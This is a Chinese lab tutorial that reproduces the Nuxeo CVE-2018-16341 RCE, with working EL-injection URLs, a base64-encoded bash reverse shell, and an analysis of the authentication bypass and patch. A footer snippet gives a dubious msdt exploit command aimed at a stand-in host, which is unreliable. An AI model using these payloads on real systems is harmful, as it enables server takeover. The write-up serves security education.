【CVE-2018-16341】nuxeo远程代码执行漏洞

实验目的

复现并分析【CVE-2018-16341】nuxeo远程代码执行漏洞,使用docker技术搭建漏洞环境,在实验环境中复现该漏洞,利用exp获取shell。

技能增长

通过本次实验的学习,可以了解Nuxeo内容管理平台,了解docker技术,使用docker技术搭建漏洞环境,在实验环境中验证【CVE-2018-16341】nuxeo远程代码执行漏洞,利用exp获取shell。

预备知识

基础知识
Nuxeo
Nuxeo平台是一个开源的可定制和可扩展的内容管理平台,用于构建业务应用程序。它为开发文档管理,数字资产管理,案例管理应用程序和知识管理奠定了基础。 您可以使用即用型插件轻松添加功能,也可以使用其扩展点系统扩展平台。
Docker
Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和 namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。
Docker容器与虚拟化的区别
两者为互补关系
虚拟化使得您的操作系统(Windows 或 Linux)可同时在单个硬件系统上运行。
容器则可共享同一个操作系统内核,将应用进程与系统其他部分隔离开。例如:ARM Linux 系统运行 ARM Linux 容器,x86 Linux 系统运行 x86 Linux 容器,x86 Windows 系统运行 x86 Windows 容器。Linux 容器具有极佳的可移植性,但前提是它们必须与底层系统兼容。
在这里插入图片描述

漏洞描述
nuxeo-jsf-ui组件处理facelet模板不当,当访问的facelet模板不存在时,相关的文件名会输出到错误页面上,而错误页面会当成模板被解析,文件名包含表达式也会被输出同时被解析执行,从而导致远程代码执行漏洞。
漏洞危害
攻击者可以远程对漏洞网站发起攻击,在网站操作系统上执行任意命令,获取网站控制权限。
漏洞影响版本
Nuxeo Server 版本 < 10.3

实验环境

实验环境:
攻击机:
系统类别:Kali Linux
内核版本:Linux 4.0.0-kali1-amd64
攻击机IP:192.168.0.4
目标机:
系统类别:Ubuntu_16.04
目标机IP:192.168.0.2
软件版本:Nuxeo Server 8.10
环境搭建
进入Ubuntu实验机,启动docker(环境默认已启动):
service docker start
输入命令:
ls
查看当前目录,可以发现CVE-2018-16341nuxeo远程代码执行漏洞文件夹
输入命令(选中文件夹名称后单击右键可复制):
cd CVE-2018-16341nuxeo远程代码执行漏洞/
进入文件夹
输入命令:

docker-compose up -d

启动docker容器
输入命令:

docker ps

可以查看容器状态
在这里插入图片描述

漏洞验证

进入kali实验机,打开终端,输入
firefox
命令,或直接搜索firefox,打开火狐浏览器
访问
192.168.0.2:8080
可以看到登录页面,环境启动成功
在这里插入图片描述
直接访问
http://192.168.0.2:8080/nuxeo/login.jsp/${1111}.xhtml
可以看到11
11已经被计算
在这里插入图片描述

访问

http://192.168.0.2:8080/nuxeo/login.jsp/${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/success",null).waitFor()}.xhtml

执行touch /tmp/success命令
touch 命令用于创建空文件,也可以更改 Unix 和 Linux 系统上现有文件时间戳。更改时间戳意味着更新文件和目录的访问以及修改时间。此处通过touch /tmp/success命令,在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令。
在这里插入图片描述

切换到Ubuntu中,输入docker ps命令先查看环境中正在运行的docker容器:
输入如下命令进入容器,其中[容器id]可以选择docker ps中的编号右键复制
docker exec -it [容器ID] /bin/bash
注意[容器ID]与/bin中间有一个空格
进入容器后输入
cd /tmp
进入tmp路径,输入命令
ls
可看到在/tmp路径下,已成功创建的success文件,说明漏洞利用成功
在这里插入图片描述

反弹shell

为什么要反弹shell
当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。
  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
  3. 对方的ip会动态改变,你不能持续控制。
  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
    反弹shell:
    kali开启监听
    打开一个新的终端,输入命令:
    nc -lvp 1234
    nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。
    这里的-lvp命令将持续监听本机的指定端口
    在这里插入图片描述

bash反弹shell的命令

bash -i >& /dev/tcp/192.168.0.4/1234 0>&1

bash -i代表在本地打开一个bash,/dev/tcp/是Linux中的一个特殊文件,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,以此建立交互式shell.

bash -i >& /dev/tcp/192.168.0.4/1234 0>&1进行base64编码得到

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=

利用bash -c 参数
bash -c {echo,payload_base64}|{base64,-d}|{bash,-i}
得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

bash -c(会将第一个空格后的的内容作为第一个空格前的命令的参数,
echo输出YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=至base64命令,
作为输入,-d参数对输入进行解密,解密后为:bash -i >& /dev/tcp/192.168.0.4/1234 0>&1
该命令通过bash -i 来产生一个交互shell
直接访问

http://192.168.0.2:8080/nuxeo/login.jsp/${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}",null).waitFor()}.xhtml

执行刚刚的反弹shell命令
在这里插入图片描述
监听终端成功接收到反弹shell
在这里插入图片描述
使用id和whoami命令查看当前反弹shell用户权限情况
uname -a命令用于查看操作系统内核,发行版本等信息,常用于提权前的信息收集
获取到了root用户权限,root用户可以对服务器执行任意命令。
在Linux操作系统中,root的权限是最高的,也被称为超级权限的拥有者。普通用户无法执行的操作,root用户都能完成,所以也被称之为超级管理用户。
在系统中,每个文件、目录和进程,都归属于某一个用户,没有用户许可其它普通用户是无法操作的,但对root除外。root用户的特权性还表现在root可以超越任何用户和用户组来对文件或目录进行读取、修改或删除(在系统正常的许可范围内);对可执行程序的执行、终止;对硬件设备的添加、创建和移除等;也可以对文件和目录进行属主和权限进行修改,以适合系统管理的需要。
在这里插入图片描述

漏洞分析

认证绕过
在不登陆的情况下,是无法访问facelet模板的。但是可以通过: login.jsp/%24%7b%31%31%2a%31%31%7d.xhtml 绕过访问。
认证绕过分析
通过查看web.xml配置文件,开发者为*.xhtml资源注册了名为NuxeoAuthenticationFilter的过滤器和Faces Servlet。凭借经验认证工作应该在filter处理。
通过调试发现,在NuxeoAuthenticationFilter类中的bypassAuth方法中有相关逻辑
在这里插入图片描述

进入到该方法中,unAuthenticatedURLPrefix是一个列表,值为[“login.jsp”,”webservices/”] ,requestPag 只要以 unAuthenticatedURLPrefix 数组中的字符串开头就不会验证用户身份。
在这里插入图片描述

根据注册的Faces Servlet规则”*.html”, login.jsp/test.xhtml 是匹配的,如果要对资源进行访问控制肯定要先进入到访问控制逻辑中的,但是访问控制逻辑中只是通过startsWith方法来比较的,肯定也是符合的,所以login.jsp/test.xhtml这个路径可以绕过NuxeoAuthenticationFilter认证控制进入到Faces Servlet(模版相关)中。
RCE分析
is变量含有用户可控的内容进入到了parse方法中。
在这里插入图片描述

src的handler为NuxeoNotFoundResourceHandler,看下实现,
在这里插入图片描述
getInputStream中的错误信息中包含表达式,也会进入parse方法中执行, 即请求的路径不存在时将会把路径当成源内容返回给调用者,这里就会进入到模版的parse方法中,然后就被解析执行了。
在这里插入图片描述

漏洞修复

官方补丁通过过滤的方式修复,在getInputStream中,只有当路径中不包含”#”和”$”时才会把路径输出到输入流中,这样就无法执行EL了。

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CVE-2022-30190是一个针对Microsoft的漏洞,被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞的复现过程。 首先,我们需要使用攻击者控制的远程服务器,以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本,将其上传到我们的远程服务器上: ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序,然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上,我们将打开命令提示符,并执行以下命令: ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数,同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后,使用"/showUI"参数显示用户界面。 当目标系统执行此命令时,"msdt.exe"会检索远程服务器上的脚本文件,并尝试执行该脚本。由于脚本文件具有恶意代码,它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而,值得注意的是,这只是为了说明该漏洞的原理,实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全,我们建议及时更新受影响的软件,以修补此漏洞。还应该维护良好的网络安全措施,以减少被利用的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值